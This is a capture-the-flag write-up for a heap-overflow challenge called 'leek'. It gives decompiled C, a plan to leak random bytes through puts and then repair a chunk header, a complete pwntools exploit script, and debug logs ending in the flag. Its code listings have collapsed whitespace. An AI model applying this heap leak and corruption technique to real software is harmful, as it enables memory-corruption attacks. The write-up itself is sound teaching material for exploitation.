Overflow all null-bytes between 2 heap chunks, causingputs to leak the random generated bytes, then overflow the heap again to repair the chunk header.
Basic File Checks
The program is echoing our first input back to us, and prompting us to provide a presumably randomly-generated secret.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./leek
I dare you to leek my secret.
Your input (NO STACK BUFFER OVERFLOWS!!): test
:skull::skull::skull: bro really said: test
So? What's my secret? idk
Wrong!
In most cases, a binary with canary and NX enabled simply means we have to perform a canary leak and ROP attack to bypass the protections. As both of these protection mechanisms are enforced on the stack, this could also mean that the intended goal of this challenge is not about buffer overflow, but instead an exploitation on the heap.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=leek
[*] '/home/kali/Desktop/leek'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Static Code Analysis
Our goal is to GUESS the random bytes 100 times and invoke win() function to receive the flag. At first, it seemed like a Use-After-Free (UAF) challenge, but a vulnerable input function is used in line 44, combined with two heap chunks allocated adjacently in line 34-35, we have a Heap Overflow.
The chunk __s holds our input, and __s1 is the random bytes generated at runtime. Since both of them are allocated adjacently, we can overflow __s during input and overwrite the random bytes. This method is feasible, but I went for another method presented by CryptoCat to leak the random bytes.
voidmain(void){__gid_t __rgid;int iVar1;time_t tVar2;char*__s;char*__s1;long in_FS_OFFSET;int local_58;int local_54;char local_38 [40];long local_10; local_10 =*(long*)(in_FS_OFFSET +0x28); tVar2 =time((time_t*)0x0);srand((uint)tVar2);setbuf(stdout,(char*)0x0);setbuf(stdin,(char*)0x0); __rgid =getegid();setresgid(__rgid,__rgid,__rgid);puts("I dare you to leek my secret."); local_58 =0;while( true ) {if (N <= local_58) {puts("Looks like you made it through.");win();if (local_10 !=*(long*)(in_FS_OFFSET +0x28)) { /* WARNING: Subroutine does not return */__stack_chk_fail(); }return; } __s = (char*)malloc(0x10); __s1 = (char*)malloc(0x20);memset(__s1,0,0x20);getrandom(__s1,0x20,0);for (local_54 =0; local_54 <0x20; local_54 = local_54 +1) {if ((__s1[local_54] =='\0') || (__s1[local_54] =='\n')) { __s1[local_54] ='\x01'; } }printf("Your input (NO STACK BUFFER OVERFLOWS!!): ");input(__s);printf(":skull::skull::skull: bro really said: ");puts(__s);printf("So? What\'s my secret? ");fgets(local_38,0x21,stdin); iVar1 =strncmp(__s1,local_38,0x20);if (iVar1 !=0) break;puts("Okay, I\'ll give you a reward for guessing it.");printf("Say what you want: ");gets(__s);puts("Hmm... I changed my mind.");free(__s1);free(__s);puts("Next round!"); local_58 = local_58 +1; }puts("Wrong!"); /* WARNING: Subroutine does not return */exit(-1);}
Attack Strategy
Theoretically speaking, the puts function on line 46 will print out characters repeatedly until a null byte \0 is reached because there is no boundary check. Our attack strategy is to overwrite any null bytes that exists between our __s and __s1 chunks (to merge both chunks together), thereby allowing us to leak the random bytes when puts(__s) is called.
NOTE: We are not going to overwrite any data after the null byte.
Proof of Concept
Fuzzing user input with cyclic patterns show that the random bytes are leaked at offset 32.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ cyclic 30 | ./leek
I dare you to leek my secret.
Your input (NO STACK BUFFER OVERFLOWS!!): :skull::skull::skull: bro really said: aaaabaaacaaadaaaeaaafaaagaaaha
So? What's my secret? Wrong!
┌──(kali💀JesusCries)-[~/Desktop]
└─$ cyclic 32 | ./leek
I dare you to leek my secret.
Your input (NO STACK BUFFER OVERFLOWS!!): :skull::skull::skull: bro really said: aaaabaaacaaadaaaeaaafaaagaaahaaahqF��3q����o
C���a[W��Dۃ�
So? What's my secret? Wrong!
Now we can use pwntools to receive the random bytes and re-submit them to pass the verification check. Based on the verbose debug info, we can see that the size of random bytes is 32, which is the exact same size as __s1 = (char *)malloc(0x20)
Debugging
Moving on to the 2nd part of the challenge, we have a memory corruption when free() is called because we have messed up the heap layout by overwriting it's header during the overflow. To continue program execution without any corruption, we need to repair the chunk header back to how it was.
The problem is, we have no idea how the heap looks like, so some debugging will be required. To visualize the layout of the heap, we can set 2 breakpoints: BEFORE OVERFLOW & AFTER OVERFLOW.
Since PIE is disabled, we can take the addresses directly from Ghidra and insert the breakpoints in our script.
# Specify GDB script here (breakpoints etc)gdbscript ='''init-pwndbgb *0x4015d9b *0x4016b5continue'''.format(**locals())
On the first breakpoint, we can see how the heap looks like BEFORE OVERFLOWING with the following summary:
PURPLE: User input chunk with 0x21 trailing bytes as the header.
GREEN: Random bytes chunk with 0x31 trailing bytes as the header, followed by the data.
On the second breakpoint, the header of GREEN chunk is overwritten by our cyclic pattern, which is why GDB interprets the size of the chunk as 0x6161616861616167. Decoding this hex value results in aaahaaag. This is the exact reason why the memory is corrupted.
Fixing Chunk Header
To continue program execution, we just need to utilize gets(__s) on line 53 to fill up our user input chunk, followed by a 0x31 byte, for the heap header to be valid.
Using the previous heap layout as reference, we need to fill up the entire PURPLE chunk with 24 bytes, followed by a 0x31 byte, then pad out the remaining bytes, so that it will appear 0x0000000000000031 and not 0x3100000000000000.
Solution
solve.py
#!/usr/bin/env python3from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)# Specify GDB script here (breakpoints etc)gdbscript ='''init-pwndbgbreak *0x4015d9break *0x4016b5continue'''.format(**locals())# Binary filenameexe ='./leek'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Change logging level to help with debugging (error/warning/info/debug)context.log_level ='debug'# ===========================================================# EXPLOIT GOES HERE# ===========================================================io =start()for i inrange(100): io.sendlineafter(b'):', cyclic(31)) io.recvline() rand_bytes = io.recvline()[0:32] io.sendafter(b'secret?', rand_bytes) io.sendafter(b'want:', (b'\x00'*24) +b'\x31'+ (b'\x00'*7))io.interactive()
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./solve.py REMOTE challs.actf.co 31310
[+] Starting local process './leek': pid 27688
[DEBUG] Received 0x48 bytes:
b'I dare you to leek my secret.\n'
b'Your input (NO STACK BUFFER OVERFLOWS!!): '
[DEBUG] Sent 0x20 bytes:
b'aaaabaaacaaadaaaeaaafaaagaaahaa\n'
[DEBUG] Received 0x7e bytes:
00000000 3a 73 6b 75 6c 6c 3a 3a 73 6b 75 6c 6c 3a 3a 73 │:sku│ll::│skul│l::s│
00000010 6b 75 6c 6c 3a 20 62 72 6f 20 72 65 61 6c 6c 79 │kull│: br│o re│ally│
00000020 20 73 61 69 64 3a 20 61 61 61 61 62 61 61 61 63 │ sai│d: a│aaab│aaac│
00000030 61 61 61 64 61 61 61 65 61 61 61 66 61 61 61 67 │aaad│aaae│aaaf│aaag│
00000040 61 61 61 68 61 61 0a a6 70 b1 78 84 1d 59 76 39 │aaah│aa··│p·x·│·Yv9│
00000050 a8 3f 5d bd b9 53 92 01 cb 49 06 40 fa 24 a3 d5 │·?]·│·S··│·I·@│·$··│
00000060 86 d5 1d 39 e0 88 dd 0a 53 6f 3f 20 57 68 61 74 │···9│····│So? │What│
00000070 27 73 20 6d 79 20 73 65 63 72 65 74 3f 20 │'s m│y se│cret│? │
0000007e
[DEBUG] Sent 0x20 bytes:
00000000 a6 70 b1 78 84 1d 59 76 39 a8 3f 5d bd b9 53 92 │·p·x│··Yv│9·?]│··S·│
00000010 01 cb 49 06 40 fa 24 a3 d5 86 d5 1d 39 e0 88 dd │··I·│@·$·│····│9···│
00000020
[DEBUG] Received 0x41 bytes:
b"Okay, I'll give you a reward for guessing it.\n"
b'Say what you want: '
[DEBUG] Sent 0x20 bytes:
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000010 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 0a │····│····│1···│····│
00000020
[*] Switching to interactive mode
[*] Process './leek' stopped with exit code 1 (pid 27688)
[DEBUG] Received 0x5f bytes:
b'Hmm... I changed my mind.\n'
b'Next round!\n'
b'Looks like you made it through.\n'
Hmm... I changed my mind.
Next round!
Looks like you made it through.
[DEBUG] Received 0x28 bytes:
b'actf{very_l33k_of_y0u_777522a2c32b7dd6}\n'
actf{very_l33k_of_y0u_777522a2c32b7dd6}
[*] Got EOF while reading in interactive